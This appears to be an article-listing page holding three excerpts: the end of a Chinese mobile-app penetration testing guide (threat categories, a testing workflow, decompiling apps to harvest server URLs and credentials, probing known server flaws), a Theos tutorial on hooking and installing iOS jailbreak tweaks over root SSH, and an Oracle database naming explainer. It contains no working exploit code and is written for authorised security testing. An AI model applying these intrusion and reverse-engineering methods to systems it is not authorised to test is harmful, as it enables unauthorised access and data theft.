若APP和服务端通信过程中未对传输的数据进行机密性保护,数据就有可能会被窃听。例如,很多APP和服务端之间在不安全的传输通道中直接使用的HTTP协议进行通信,若用户名、口令以及其他重要数据未进行加密,这些数据在网络传输中的各个节点就可能会被窃听而泄露。测试人员应根据APP业务场景确认APP的敏感数据**、数据传输通道和协议,分析是否存在敏感数据泄露风险。对安全性要求比较高的APP,例如金融类APP,还要分析其加密方式(如果有)是否安全有效。常用工具有Wireshark、Burpsuite、Fiddler和Charles等。 (2) 数据篡改 若APP和服务端通信过程中未对传输的数据进行完整性保护,数据就有可能会被篡改,使APP更易被结合其他安全漏洞发起攻击。不同的业务场景下,数据篡改带来的风险高低也不同。测试人员可尝试对截取到的数据进行篡改后发送,观察和分析APP或服务端是否可识别出数据被篡改并作出合理反应。对安全性要求比较高的APP,比如金融类APP,还要分析其防篡改方式(如果有)是否安全有效。常用工具有Wireshark、Burpsuite、Fiddler和Charles等。 (3) 数据重放 重放攻击是指将之前窃听到的数据原封不动地重新发送给接收方。这种攻击通常用于身份认证、交易等过程。例如,对HTTP协议,测试人员可重复发送截取到的请求报文,并观察和分析服务端的反应。常用工具有Wireshark、Burpsuite、Fiddler和Charles等。 3. 服务端 服务端主要面临的威胁包括不安全的中间件、认证与会话管理、访问控制、注入、应用层拒绝服务、密码算法和密钥管理等。 (1) 不安全的中间件 服务器为提供完整的服务所使用的各个中间件,由于未及时更新或未启用安全的配置可能引发安全漏洞,导致服务器存在遭受攻击的风险,如IIS文件名解析漏洞、Weblogic反序列化漏洞、SMB远程命令执行漏洞等,攻击者可通过这些漏洞获取服务器敏感信息、执行恶意命令,甚至获取服务器管理员权限。 (2) 认证与会话管理 服务器提供的身份认证和会话管理机制存在安全漏洞,如系统关键组件或应用使用弱口令,对于高安全级别的系统未采用双因子认证方式,无防止认证口令或验证码暴力破解攻击的机制,未对SessionID的生成、过期和销毁进行安全配置等,攻击者可利用这些漏洞在非授权的情况下登录系统并执行恶意操作。 (3) 访问控制 开发者未对用户登录系统后的操作进行进一步的访问权限控制,服务端对从客户端收到的对数据进行增、删、改、查询等操作的请求未进行鉴权处理,导致攻击者可执行超出自身账户权限的操作。 (4) 注入 应用运行时可能需要调用一些向前端写入内容、查询数据或执行系统命令的函数,如果用户能控制这些函数的输入,而开发者未对输入的内容进行严格的过滤,攻击者可以在前端提交恶意构造的输入,进行XSS注入、SQL注入、命令注入等攻击,从而导致服务器重要数据泄露或执行恶意命令。 (5) 应用层拒绝服务 服务器未对应用的最大连接数或发起请求的IP和频率进行限制,攻击者通过并发大量的请求或构造畸形的数据包,如CC攻击、Slowloris攻击,造成系统资源耗尽,导致服务器拒绝服务。 (6) 密码算法和密钥管理 应用使用已被证明为不安全的密码算法对重要数据的传输和存储进行加解密,如使用MD5算法对用户口令进行存储,使用DES算法对数据进行加密传输,可能导致攻击者获取密文后短时间内恢复出明文信息;应用使用不安全的方式进行密钥管理,如将系统使用的密钥明文编码在应用代码中或在服务器配置文件中明文存储,将导致攻击者轻易获取数据加解密密钥,进而得到加密数据的明文信息。 四、APP渗透测试流程 渗透测试的最终目的是帮助目标APP或系统发现并修复安全漏洞,提升APP或系统安全性。一个优秀的渗透测试工程师或团队首先要有良好的职业道德,同时也应注意保护自己,其次要有专业的技术知识、规范的测试流程和活跃的思维。下面,我们先介绍一般的APP渗透流程,然后探讨下结合APP,对服务端开展渗透测试的一些思路。 1. 准备阶段 定义安全测试的范围,包括确认适用的安全控制点、受测方的测试目标和敏感数据。同时在开展渗透测试前,应拿到被测单位的书面盖章渗透测试授权。 2. 信息收集 收集包括APP的环境、业务用例和架构等信息。其中: 环境信息如APP的业务功能、行业分类、开发或运营组织的基本信息和工作流程等; 架构信息包括APP本身(如何访问数据和资源、是否检测自身运行在root或模拟环境中等)、APP适用的操作系统及版本、与服务端的通信协议(是否使用安全传输协议、是否有其他安全防护措施等)和远程服务(APP使用哪些远程服务、这些远程服务被攻击是否会影响APP)等。 这些信息大致分为开发或运营组织的信息和APP相关技术信息两大类,一般前者可由商务人员负责去收集,后者可由技术人员收集。 3. 应用描绘 根据前2个阶段收集的资料(亦可通过自动扫描、手动分析APP来进行相应补充),测试人员已较为全面的了解受测APP的环境、业务用例和架构等信息,并基本确定了受测APP的渗透测试入口点、收集存储的数据和可能潜在的安全漏洞,即可根据这些漏洞风险等级高低,对其进行排序,以便测试人员确定渗透测试的攻击路径,并制定相应的测试用例。 4. 漏洞利用和测试工具开发 在此阶段,测试人员将尝试利用前一阶段发现的漏洞,对应用程序进行渗透,以验证发现的漏洞是否真实、有效,同时在漏洞验证过程中可能涉及测试工具、脚本的开发;该阶段在APP渗透测试的整个过程中是非常必要和关键的一环。 5. 提交报告 此阶段,测试人员将已经验证后的漏洞形成报告,提交客户。报告内容至少应包括详细的漏洞名称、类型、漏洞风险分析、漏洞利用过程和结果、渗透测试过程中非授权访问的数据等。 注:不同类型安全检测除流程上会有差异外,报告内容、形式也会有差别,应根据具体情况具体分析。 五、结合APP渗透服务端 这一章节我们主要列举通过APP以渗透相关服务端的一些思路。在此,假设测试人员仅被授权对APP和相关服务端进行渗透。通常包含5个较为重要的环节,分别是:信息收集、网站/服务端渗透、APP功能分析、第三方SDK分析、账号安全和业务安全分析。 1. 信息收集 为达成对服务端的攻击,首先应对服务端进行“定位”。对服务端定位的常用方法有反编译APP、抓包分析、APP相关信息搜索、信息汇总分析等,具体如下: 一是反编译APP。这个过程可能会涉及到对APP进行脱壳等。反编译后,在反编译代码和资源文件中,利用字符串搜索和过滤,搜集所有链接等信息。除HTTP/HTTPS链接外,还应关注是否有FTP、登录凭证(比如邮箱账号,有些APP会发Crash信息等到邮箱)等信息。字符串搜索和过滤可以通过写脚本,或在自动化工具中对扫描规则进行配置等方式来完成。 二是抓包分析。一般移动APP和服务端通信使用HTTP(S),可使用抓包工具对传输数据进行抓包分析。抓包过程中我们可以手动点击APP中各功能菜单,或利用工具触发APP各种功能,通过抓包工具过滤或定制系统等方式尽量排除非受测APP的网络通信数据干扰(有些URL可能是第三方SDK官方地址,非授权渗透测试目标,应予以过滤)。 三是APP相关信息搜索。 应通过互联网广泛搜索APP相关信息,若能找到其官网,应将其相关的官网、论坛的链接都搜集整理出来,若授权许可,亦可将其纳入到渗透的目标范围内。 寻找该APP的历史版本,因为若该APP当前版本的安全加固措施做得比较到位,对其进行逆向分析较为复杂,但在某个时间节点前的历史版本可能是未加固的。 可能会有其他意想不到的发现。 四是信息汇总分析。通过对收集到的信息综合筛选分析,形成一个信息集,包括但不限于URL、IP、使用的第三方SDK(下面展开说)等信息。 2. 网站/服务端渗透 这一阶段,与传统的Web渗透过程相同,测试人员通过各种嗅探工具对信息集中的URL、IP进行嗅探和漏扫,以期发现可能存在的漏洞等,并通过发现的漏洞(不管0day还是nday),尝试获取服务器的权限。因本章节重点是介绍如何结合APP做服务端渗透,所以这部分不详细展开。 3. APP功能分析 在信息收集阶段,测试人员已基本对APP功能有了一些了解,在这一环节,测试人员应实际试用APP,除了试用一些上传下载、聊天、留言等常用功能外,同时还应关注其相对冷门的功能,因为功能越冷门,开发人员对其的关注就越少,相应的服务端服务存在安全问题的可能性就越大。 4. 第三方SDK做分析 在信息收集环节中我们提到若无授权,测试人员不能随便对第三方SDK官网开展渗透测试,那为何还要对第三方SDK开展分析呢?原因是很多第三方SDK客户端和服务端是配套搭建的,有些部署在SDK官方服务端,有些则部署在SDK使用方(也就是APP官方服务端)。许多SDK官方会对其进行详细的说明,包括功能、部署方式、API等等。对于服务端SDK,测试人员可以将其下载下来(若无法探测到服务端版本号,可根据收集到的APP业务上线日期进行推测,并结合经验和已搜集到的信息,从下载的SDK挑选重要的SDK),对其进行历史漏洞搜索(该工作也可在信息收集环节开展)、扫描和分析,也许会发现一些有用的漏洞(0day最好,nday也要试一试,万一没补呢?)。 5. 账号安全和业务安全 最后,我们再谈谈账号安全和业务安全。这一环节在APP功能分析过程中也可能会涉及,其与渗透获取服务器shell权限可能没太大关系,但其从攻击者的角度来看却非常关键,因为大部分攻击者获取服务器shell权限的目的就是为了获取APP用户的数据或资料,当然也有单纯为了搞破坏和黑客炫技的情况存在。 在这一环节,测试人员要详细分析APP的账号机制和业务逻辑,随着APP官方与黑产对抗的加深,APP的业务逻辑和身份认证机制可能会做的很复杂。同时如果APP是使用用户数量大时间、上线时间比较久,存在账户安全问题(爆破、信息泄露、越权、绑定/换绑逻辑等等)的可能性相对要低很多;同理,越是成熟的业务,存在安全问题的概率就会越低,所以测试人员可以重点关注被测APP中可能存在的冷门或新上线业务。 随着移动APP安全攻防对抗逐渐加强,对其及相关服务端开展渗透测试,必然会越来越多的涉及逆向、调试、数据或流量解密等工作(虽然一些逻辑漏洞可通过分析其业务功能、流程发现,但实现漏洞利用一般还需进一步逆向和抓包分析)。渗透测试人员和团队应善于使用、定制或开发自动化工具辅助检测以节省时间和人力。 可以想象,一旦攻击者借助APP拿下了服务端,就可以反过来批量攻击APP(或用户),从而形成一个攻击闭环,且攻击者能做的事情还远不止这些! 六、结束语 以上就是笔者关于移动APP渗透测试的总结,希望能帮到大家,但限于知识和技术水平,会有许多不完善甚至不准确之处,还望多多指正。 【云栖号在线课堂】每天都有产品技术专家分享!课程地址:https://yqh.aliyun.com/live 立即加入社群,与专家面对面,及时了解课程最新动态!【云栖号在线课堂 社群】https://c.tb.cn/F3.Z8gvnK 原文发布时间:2020-05-20本文作者:极客安全MobileSecurity本文来自:“cocoachina”,了解相关信息可以关注“cocoachina”
文章
存储  ·  安全  ·  算法  ·  中间件  ·  测试技术  ·  网络安全  ·  开发工具  ·  数据安全/隐私保护  ·  Android开发  ·  iOS开发
2020-05-20
iOS逆向小知识:使用Theos开发插件
前言iOS逆向小知识:将功能独立的tweak 合并到同一个deb 包iOS逆向小知识:批量部署插件(搭建私有Cydia源)iOS tweak 集成CocoaAsyncSocket开始介绍Theos之前,先来回顾下Logos语法 Logos作为Theos开发组件的一部分,通过一组特殊的预处理指令,可以让编写函数钩子(hook)代码变得非常简单和清晰,Logos是随着Theos发布的%hook 指定需要hook的类名,以%end结尾%log 用来打印log的,将信息输入到syslog中,如%log((NSString *)@"ZeluLi")%orig 执行被hook函数的原始代码,类似于super.method功能%group 该指令用于%hook的分组,%group后边跟的是组名,%group也是必须以%end结尾,其中可以包含多个%hook%init 该指令用来初始化某个%group,一个group只有被初始化后才可生效,init必须在hook中进行执行。%ctor tweak的构造器,用来初始化,如果不显式定义,Theos就会自动生成一个%ctor,并在其中调用%init(_ungrouped). 如:%ctor { %init(_ungrouped)}%new 该指令用来给现有的class添加一个新的函数。与Runtime中的class_addMethod相同。%c 该指令用来获取一个类的名称,相当于objc_getClass。I 工程目录下文件介绍新建工程的命令:$THEOS/bin/nic.pldevzkndeMacBook-Pro:~ devzkn$ $THEOS/bin/nic.pl NIC 2.0 - New Instance Creator ------------------------------ [1.] iphone/activator_event [2.] iphone/application_modern [3.] iphone/cydget [4.] iphone/flipswitch_switch [5.] iphone/framework [6.] iphone/ios7_notification_center_widget [7.] iphone/library [8.] iphone/notification_center_widget [9.] iphone/preference_bundle_modern [10.] iphone/tool [11.] iphone/tweak [12.] iphone/xpc_service Choose a Template (required): 11 Project Name (required): testTweakDemo Package Name [com.yourcompany.testtweakdemo]: Author/Maintainer Name [devzkn]: [iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]: com.apple.UIKit [iphone/tweak] List of applications to terminate upon installation (space-separated, '-' for none) [SpringBoard]: Instantiating iphone/tweak in testtweakdemo/... Done.参数Package Name  :deb包的名字 参数Bundle filter  :tweak的目标app的bundle identifier比如wechat的bundle Id :com.tentcent.xiniOS 系统的桌面应用的bundle Id:com.apple.springboard tweak注入到所有的app,那么Bundle filter应该填 com.apple.UIKit`新建一个工程之后,会生成四个文件:control、plist、Makefile、Tweak.xm,这几个文件分别有什么用?$ ls -lrt total 32 -rw-r--r-- 1 devzkn staff 51 Aug 10 17:07 testTweakDemo.plist -rw-r--r-- 1 devzkn staff 223 Aug 10 17:07 control -rw-r--r-- 1 devzkn staff 1045 Aug 10 17:07 Tweak.xm -rw-r--r-- 1 devzkn staff 189 Aug 10 17:07 Makefile1.1 control文件control文件存储项目有关的信息:名称、版本、开发者Package: com.yourcompany.testtweakdemo Name: testTweakDemo Depends: mobilesubstrate Version: 0.0.1 Architecture: iphoneos-arm Description: An awesome MobileSubstrate tweak! Maintainer: devzkn Author: devzkn Section: Tweaks1.2 plist文件devzkndeMacBook-Pro:testtweakdemo devzkn$ more testTweakDemo.plist { Filter = { Bundles = ( "com.apple.UIKit" ); }; }plist文件的作用:设置目标app的bundle Id,如果tweak要注入多个APP,就在Bundles数组中添加其bundle Id。1.3 Makefile文件$ more Makefile include $(THEOS)/makefiles/common.mk TWEAK_NAME = testTweakDemo testTweakDemo_FILES = Tweak.xm include $(THEOS_MAKE_PATH)/tweak.mk after-install:: install.exec "killall -9 SpringBoard" devzkndeMacBook-Pro:testtweakdemo devzkn$Makefile文件设置需要用到的文件、框架、库。testTweakDemo_FILES设置工程需要引用的文件,多个文件之间以空格分隔。格式:工程名FILES = 要编译的文件名testTweakDemo_FILES = Tweak.xm MyClass1.m MyClass2.minclude $(THEOS)/makefiles/common.mk很多关键的变量都在common.mk中工程名字_FRAMEWORKS : 设置工程需要引用的第三方库,多个库之间以空格分隔:工程名字_FRAMEWORKS = UIKit UIFoundation4.after-install在tweak安装之后,执行的一些辅助任务,比如杀掉目标进程,好让 CydiaSubstrate在进程重启的过程加载对应的dylib。1.4 Tweak.xm用于编写注入的代码,其中的%hook,%orig,%log符合是theos对cydia Substrate提供的函数的宏封装.cydia Substrate提供的方法的介绍可以参考Cydia_Substrate。MobileHooker is used to replace system functions. This process is known as hooking. There are 2 APIs that one would use:IMP MSHookMessage(Class class, SEL selector, IMP replacement, const char* prefix); // prefix should be NULL. void MSHookMessageEx(Class class, SEL selector, IMP replacement, IMP *result); void MSHookFunction(void* function, void* replacement, void** p_original);Tweak.xm的文件名后缀x代表的含义Tweak.xm的文件名后缀x代表支持Logos语法, 如果只有一个x代表源文件支持Logos和C语法;如果是xm,说明源文件支持Logos和C/C++语法。2.其中的%hook,%orig,%log等都是Logos语法支持的内容,详细语法说明请参考Logos$ more Tweak.xm /* How to Hook with Logos Hooks are written with syntax similar to that of an Objective-C @implementation. You don't need to #include <substrate.h>, it will be done automatically, as will the generation of a class list and an automatic constructor. %hook ClassName // Hooking a class method + (id)sharedInstance { return %orig; } // Hooking an instance method with an argument. - (void)messageName:(int)argument { %log; // Write a message about this call, including its class, name and arguments, to the system log. %orig; // Call through to the original function with its original arguments. %orig(nil); // Call through to the original function with a custom argument. // If you use %orig(), you MUST supply all arguments (except for self and _cmd, the automatically generated ones.) } // Hooking an instance method with no arguments. - (id)noArguments { %log; id awesome = %orig; [awesome doSomethingElse]; return awesome; } // Always make sure you clean up after yourself; Not doing so could have grave consequences! %end */1.5 编译和安装deb使用命令 make package编译,其中packages文件夹下保留的是每一次编译成功产生的deb安装包文件。theos编译之后,会生成一个deb包.deb安装到手机上面,有多种方式:通过iFile进行安装使用iTools等工具将这个deb包拷贝到手机中,利用iFile浏览进行安装。通过SSH进行安装。需要使用到openssh服务,确保你手机上已经安装了该服务(cydia中搜索安装OpenSSH)。这种安装方式需要在Makefile文件的首行添加你手机设备的IP地址` THEOS_DEVICE_IP = 10.200.201.22 (手机本地IP)安装的时确保证 iOS 设备和 Mac 在同一局域网的同一网段中,打开终端,先cd到你工程的目录下,然后输入编译安装命令make package install`3. 通过cydia 源进行安装https://kunnan.blog.csdn.net/article/details/78344104`1.6  免输密码进行SSHhttps://blog.csdn.net/z929118967/article/details/78234772使用 make package install命令可以一次性完成编译、打包、安装,这个过程中可能需要要你两次输入ssh的root密码(一次是签名打包,一次是安装))brew安装openssh(brew install openssl)和 ssh-copy-id(brew install ssh-copy-id) 【可选】创建 rsa文件 : ssh-keygen -t rsa -b 2048按提示输入存放keygen存放的目录和文件名配置ssh config# Private 192.168.2.125 Host iPhone HostName 192.168.2.125 User root IdentityFile ~/.ssh/id_rsa_Theos125添加对应的公钥到对应的远程服务器 :ssh-copy-id千万不要把私钥泄漏!只是把公钥(*.pub 文件)复制给远程服务器;ssh-copy-id root@<iP Address of your device>ssh-copy-id 指定认证文件$ ssh-copy-id -i id_rsa_Theos125 root@192.168.2.131$ ssh-copy-id root@192.168.2.212 /usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/Users/devzkn/.ssh/id_rsa_Theos.pub" /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys root@192.168.2.212's password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'root@192.168.2.212'" and check to make sure that only the key(s) you wanted were added.II 常见问题2.1 问题1:压缩方式不被支持原因是dpkg有两个不同的版本,最新版本不支持lzma。$ make package > Making all for tweak testTweakDemo… ==> Preprocessing Tweak.xm… ==> Compiling Tweak.xm (armv7)… ==> Linking tweak testTweakDemo (armv7)… clang: warning: libstdc++ is deprecated; move to libc++ with a minimum deployment target of iOS 7 [-Wdeprecated] ==> Preprocessing Tweak.xm… ==> Compiling Tweak.xm (arm64)… ==> Linking tweak testTweakDemo (arm64)… clang: warning: libstdc++ is deprecated; move to libc++ with a minimum deployment target of iOS 7 [-Wdeprecated] ==> Merging tweak testTweakDemo… ==> Signing testTweakDemo… > Making stage for tweak testTweakDemo… dpkg-deb: error: obsolete compression type 'lzma'; use xz instead Type dpkg-deb --help for help about manipulating *.deb files; Type dpkg --help for help about installing and deinstalling packages. make: *** [internal-package] Error 2解决方案:修改lzma 为xz$ find /opt/theos -type f -name "*.mk" | xargs grep "lzma" /opt/theos/makefiles/package/deb.mk:_THEOS_PLATFORM_DPKG_DEB_COMPRESSION ?= lzma修改/opt/theos/makefiles/package/deb.mk第六行为_THEOS_PLATFORM_DPKG_DEB_COMPRESSION ?= xz另外一个办法是直接使用旧版本,命令如下:Debian 'dpkg' package management program version 1.18.24 (darwin-amd64).brew switch dpkg 1.18.10 brew link dpkg brew pin dpkg 1.18.10验证是否修复$ make package > Making all for tweak testTweakDemo… make[2]: Nothing to be done for `internal-library-compile'. > Making stage for tweak testTweakDemo… dpkg-deb: building package 'com.yourcompany.testtweakdemo' in './packages/com.yourcompany.testtweakdemo_0.0.1-2+debug_iphoneos-arm.deb'.另如果只修改为XZ的话,届时安装的时候仍会报错:root@192.168.2.212's password: Selecting previously unselected package com.yourcompany.testtweakdemo. (Reading database ... 1848 files and directories currently installed.) Preparing to unpack /tmp/_theos_install.deb ... Unpacking com.yourcompany.testtweakdemo (0.0.1-8+debug) ... dpkg-deb (subprocess): unable to execute decompressing archive member (xz): No such file or directory dpkg-deb (subprocess): subprocess decompressing archive member returned error exit status 2 dpkg-deb: error: subprocess <decompress> returned error exit status 2 dpkg: error processing archive /tmp/_theos_install.deb (--install): subprocess dpkg-deb --fsys-tarfile returned error exit status 2 Errors were encountered while processing: /tmp/_theos_install.deb make: *** [internal-install] Error 1如果在出现上面错误时是将lzma->xz的话,后面可能会出现此错误,解决方法是将lzma->gzip即可。_THEOS_PLATFORM_DPKG_DEB_COMPRESSION ?=gzip验证是否成功$ make package install > Making all for tweak testTweakDemo… make[2]: Nothing to be done for `internal-library-compile'. > Making stage for tweak testTweakDemo… dpkg-deb: building package 'com.yourcompany.testtweakdemo' in './packages/com.yourcompany.testtweakdemo_0.0.1-9+debug_iphoneos-arm.deb'. ==> Installing… root@192.168.2.212's password: (Reading database ... 1848 files and directories currently installed.) Preparing to unpack /tmp/_theos_install.deb ... Unpacking com.yourcompany.testtweakdemo (0.0.1-9+debug) ... Setting up com.yourcompany.testtweakdemo (0.0.1-9+debug) ... install.exec "killall -9 SpringBoard" root@192.168.2.212's password:2.2 问题2:THEOS_DEVICE_IP设置错误$ make package install > Making all for tweak testTweakDemo… make[2]: Nothing to be done for `internal-library-compile'. > Making stage for tweak testTweakDemo… dpkg-deb: building package 'com.yourcompany.testtweakdemo' in './packages/com.yourcompany.testtweakdemo_0.0.1-3+debug_iphoneos-arm.deb'. ==> Error: /Applications/Xcode.app/Contents/Developer/usr/bin/make install requires that you set THEOS_DEVICE_IP in your environment. ==> Notice: It is also recommended that you have public-key authentication set up for root over SSH, or you will be entering your password a lot.解决:THEOS_DEVICE_IP = 10.200.201.22 (手机本地IP)首先得保证你的 iOS 设备和 Mac 在同一局域网的同一网段中。打开终端,输入 ssh root@192.168.xxx.xxx 输入 iOS 设备密码,默认 alpine。$ ping 192.168.2.212 PING 192.168.2.212 (192.168.2.212): 56 data bytes 64 bytes from 192.168.2.212: icmp_seq=0 ttl=64 time=34.303 ms 64 bytes from 192.168.2.212: icmp_seq=1 ttl=64 time=28.949 ms 64 bytes from 192.168.2.212: icmp_seq=2 ttl=64 time=25.753 ms 64 bytes from 192.168.2.212: icmp_seq=3 ttl=64 time=5.306 ms 64 bytes from 192.168.2.212: icmp_seq=4 ttl=64 time=106.028 ms 64 bytes from 192.168.2.212: icmp_seq=5 ttl=64 time=84.643 ms 64 bytes from 192.168.2.212: icmp_seq=6 ttl=64 time=44.845 ms ^C --- 192.168.2.212 ping statistics --- 7 packets transmitted, 7 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 5.306/47.118/106.028/32.913 ms devzkndeMacBook-Pro:testtweakdemo devzkn$ ssh root@192.168.2.212 The authenticity of host '192.168.2.212 (192.168.2.212)' can't be established. RSA key fingerprint is SHA256:/. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.2.212' (RSA) to the list of known hosts. root@192.168.2.212's password: Permission denied, please try again. root@192.168.2.212's password: iPhone:~ root#see also
文章
网络安全  ·  文件存储  ·  数据安全/隐私保护  ·  iOS开发  ·  C++  ·  开发者
2022-01-13
数据库名、实例名、数据库域名、全局数据库名、服务名 我也迷糊了
数据库名、实例名、数据库域名、全局数据库名、服务名 , 这是几个令很多初学者容易混淆的概念。相信很多初学者都与我一样被标题上这些个概念搞得一头雾水。我们现在就来把它们弄个明白。 一、数据库名 什么是数据库名? 数据库名就是一个数据库的标识,就像人的身份证号一样。他用参数DB_NAME表示,如果一台机器上装了多全数据库,那么每一个数据库都有一个数据库名。在数据库安装或创建完成之后,参数DB_NAME被写入参数文件之中。格式如下: DB_NAME=myorcl ... 在创建数据库时就应考虑好数据库名,并且在创建完数据库之后,数据库名不宜修改,即使要修改也会很麻烦。因为,数据库名还被写入控制文件中,控制文件是以 二进制型式存储的,用户无法修改控制文件的内容。假设用户修改了参数文件中的数据库名,即修改DB_NAME的值。但是在Oracle启动时,由于参数文 件中的DB_NAME与控制文件中的数据库名不一致,导致数据库启动失败,将返回ORA-01103错误。 数据库名的作用 数据库名是在安装数据库、创建新的数据库、创建数据库控制文件、修改数据结构、备份与恢复数据库时都需要使用到的。 有很多Oracle安装文件目录是与数据库名相关的,如: winnt: d:\oracle\product\10.1.0\oradata\DB_NAME\... Unix: /home/app/oracle/product/10.1.0/oradata/DB_NAME/... pfile: winnt: d:\oracle\product\10.1.0\admin\DB_NAME\pfile\ini.ora Unix: /home/app/oracle/product/10.1.0/admin/DB_NAME/pfile/init$ORACLE_SID.ora 跟踪文件目录: winnt: /home/app/oracle/product/10.1.0/admin/DB_NAME/bdump/... 另外,在创建数据时,careate database命令中的数据库名也要与参数文件中DB_NAME参数的值一致,否则将产生错误。 同样,修改数据库结构的语句alter database, 当然也要指出要修改的数据库的名称。 如果控制文件损坏或丢失,数据库将不能加载,这时要重新创建控制文件,方法是以nomount方式启动实例,然后以create controlfile命令创建控制文件,当然这个命令中也是指指DB_NAME。 还有在备份或恢复数据库时,都需要用到数据库名。 总之,数据库名很重要,要准确理解它的作用。 查询当前数据名 方法一:select name from v$database; 方法二:show parameter db 方法三:查看参数文件。 修改数据库名 前面建议:应在创建数据库时就确定好数据库名,数据库名不应作修改,因为修改数据库名是一件比较复杂的事情。那么现在就来说明一下,如何在已创建数据之后,修改数据库名。步骤如下: 1.关闭数据库。 2.修改数据库参数文件中的DB_NAME参数的值为新的数据库名。 3.以NOMOUNT方式启动实例,修建控制文件(有关创建控制文件的命令语法,请参考oracle文档) 二、数据库实例名什么是数据库实例名?数据库实例名是用于和操作系统进行联系的标识,就是说数据库和操作系统之间的交互用的是数据库实例名。实例名也被写入参数文件中,该参数为instance_name,在winnt平台中,实例名同时也被写入注册表。 数据库名和实例名可以相同也可以不同。 在一般情况下,数据库名和实例名是一对一的关系,但如果在oracle并行服务器架构(即oracle实时应用集群)中,数据库名和实例名是一对多的关系。这一点在第一篇中已有图例说明。 查询当前数据库实例名 方法一:select instance_name from v$instance; 方法二:show parameter instance 方法三:在参数文件中查询。 数据库实例名与ORACLE_SID 虽然两者都表是oracle实例,但两者是有区别的。instance_name是oracle数据库参数。而ORACLE_SID是操作系统的环境变 量。 ORACLD_SID用于与操作系统交互,也就是说,从操作系统的角度访问实例名,必须通过ORACLE_SID。在winnt不台, ORACLE_SID还需存在于注册表中。 且ORACLE_SID必须与instance_name的值一致,否则,你将会收到一个错误,在unix平台,是“ORACLE not available”,在winnt平台,是“TNS:协议适配器错误”。 数据库实例名与网络连接 数据库实例名除了与操作系统交互外,还用于网络连接的oracle服务器标识。当你配置oracle主机连接串的时候,就需要指定实例名。当然8i以后版本的网络组件要求使用的是服务名SERVICE_NAME。这个概念接下来说明 。 三、数据库域名 什么是数据库域名? 在分布工数据库系统中,不同版本的数据库服务器之间,不论运行的操作系统是unix或是windows,各服务器之间都可以通过数据库链路进行远程复制,数据库域名主要用于oracle分布式环境中的复制。举例说明如: 全国交通运政系统的分布式数据库,其中: 福建节点: fj.jtyz 福建厦门节点: xm.fj.jtyz 江西: jx.jtyz 江西上饶:sr.jx.jtyz 这就是数据库域名。 数据库域名在存在于参数文件中,他的参数是db_domain. 查询数据库域名 方法一:select value from v$parameter where name = 'db_domain'; 方法二:show parameter domain 方法三:在参数文件中查询。 全局数据库名 全局数据库名=数据库名+数据库域名,如前述福建节点的全局数据库名是:oradb.fj.jtyz 四、数据库服务名什么是数据库服务名?从oracle9i版本开始,引入了一个新的参数,即数据库服务名。参数名是SERVICE_NAME。 如果数据库有域名,则数据库服务名就是全局数据库名;否则,数据库服务名与数据库名相同。 查询数据库服务名 方法一:select value from v$parameter where name = 'service_name'; 方法二:show parameter service_name 方法三:在参数文件中查询。 数据库服务名与网络连接从oracle8i开如的oracle网络组件,数据库与客户端的连接主机串使用数据库服务名。之前用的是ORACLE_SID,即数据库实例名 创建Oracle数据库(以Oracle10g为例) 有两种创建数据库的方式,一种是以命令行脚本方式,即手动方式创建;另一种是利用Oracle提供的数据库配置向导来创建。本篇主要介绍在Unix和Windows下以命令行脚本方式创建Oracle数据库。         一个完整的数据库系统,应包括一个物理结构、一个逻辑结构、一个内存结构和一个进程结构,如果要创建一个新的数据库,则这些结构都必须完整的建立起来。 一、在Unix下创建数据库1.确定数据库名、数据库实例名和服务名 关于数据库名、数据库实例名和服务名,我之前有专门用一篇来详细介绍。这里就不再说明了。 2.创建参数文件     参数文件很确定了数据库的总体结构。Oracle10g有两种参数文件,一个是文本参数文件,一种是服务器参数文件。在创建数据库时先创建文本参数文件, 在数据库创建后,可以由文件参数文件创建服务器参数文件。文本参数文件的取名方式为initORACLE_SID.ora,其中,ORACLE_SID是 数据库实例名。其名称及路径为: /home/app/oracle/product/10.1.0/admin/DB_NAME/pfile/initORACLE_SID.ora 其中,DB_NAME为数据库名。所以,应创建一个以之命名的目录,并将文本参数文件存放在上述目录中。假设新创建的数据库名为MYORACLE,SID与数据库名一致。则上述目录实际为: /home/app/oracle/product/10.1.0/admin/MYORACLE/pfile/initMYORACLE.ora1)参数文件的介绍 参数文件决定着数据库的总体结构,用于设置数据库的近260个系统参数。下面分类别说明一下各参数的作用,关于参数的详细使用说明请参考Oracle官方参考文档。a.数据库标识类参数DB_NAME: 数据库名,此参数在创建数据前决定,数据库创建后修改时,必须建控制文件 DB_DOMAIN: 数据库域名,用于区别同名数据库。数据库名与域名一起构成了全局数据库名 INSTANCE_NAME: 数据库实例名,可以与数据库相同 SERVICE_NAMES: 数据库服务名,与全局数据库名相同如果没有域名,则服务名就是数据库名b.日志管理类参数 LOG_ARCHIVE_START: 是否启动自动归档进程ARCH LOG_ARCHIVE_DEST: 归档日志文件存储目录 LOG_ARCHIVE_FORMAT: 归档日志文件的默认文件存储格式 LOG_ARCHIVE_DUPLEX_DEST: 归档日志文件镜像存储目录(Oracle8以上) LOG_ARCHIVE_DEST_n: 归档日志文件存储目录(Oracle8i以上) LOG_ARCHIVE_DEST_STATE_n: 设置参数LOG_ARCHIVE_DEST_n失效或生效 LOG_ARCHIVE_MAX_PROCESSES: 设置自动归档进程的个数 LOG_ARCHIVE_MIN_SUCCEED_DEST: 设置最少的成功归档日志存储目录的个数 LOG_CHECKPOINT_INTERVAL: 根据日志数量设置检验点频率 LOG_CHECKPOINT_TIMEOUT: 根据时间间隔设置检验点频率c.内存管理参数DB_BLOCK_SIZE: 标准数据块大小 DB_nK_CACHE_SIZE: 非标准数据块数据缓冲区大小 SHARED_POOL_SIZE: 共享池大小控制参数,单位为字节 DB_CACHE_SIZE: 标准数据块数据缓冲区大小 DB_BLOCK_BUFFERS: 数据缓冲区大小,9i之后已放弃使用 LOG_BUFFER: 日志缓冲区大小 SORT_AREA_SIZE: 排序区大小 LARGE_POOL_SIZE: 大池大小 JAVA_POOL_SIZE: Java池大小d.最大许可用户数量限制参数LICENSE_MAX_SESSIONS:数据库可以连接的最大会话数 LICENSE_MAX_USERS:数据库支持的最大用户数 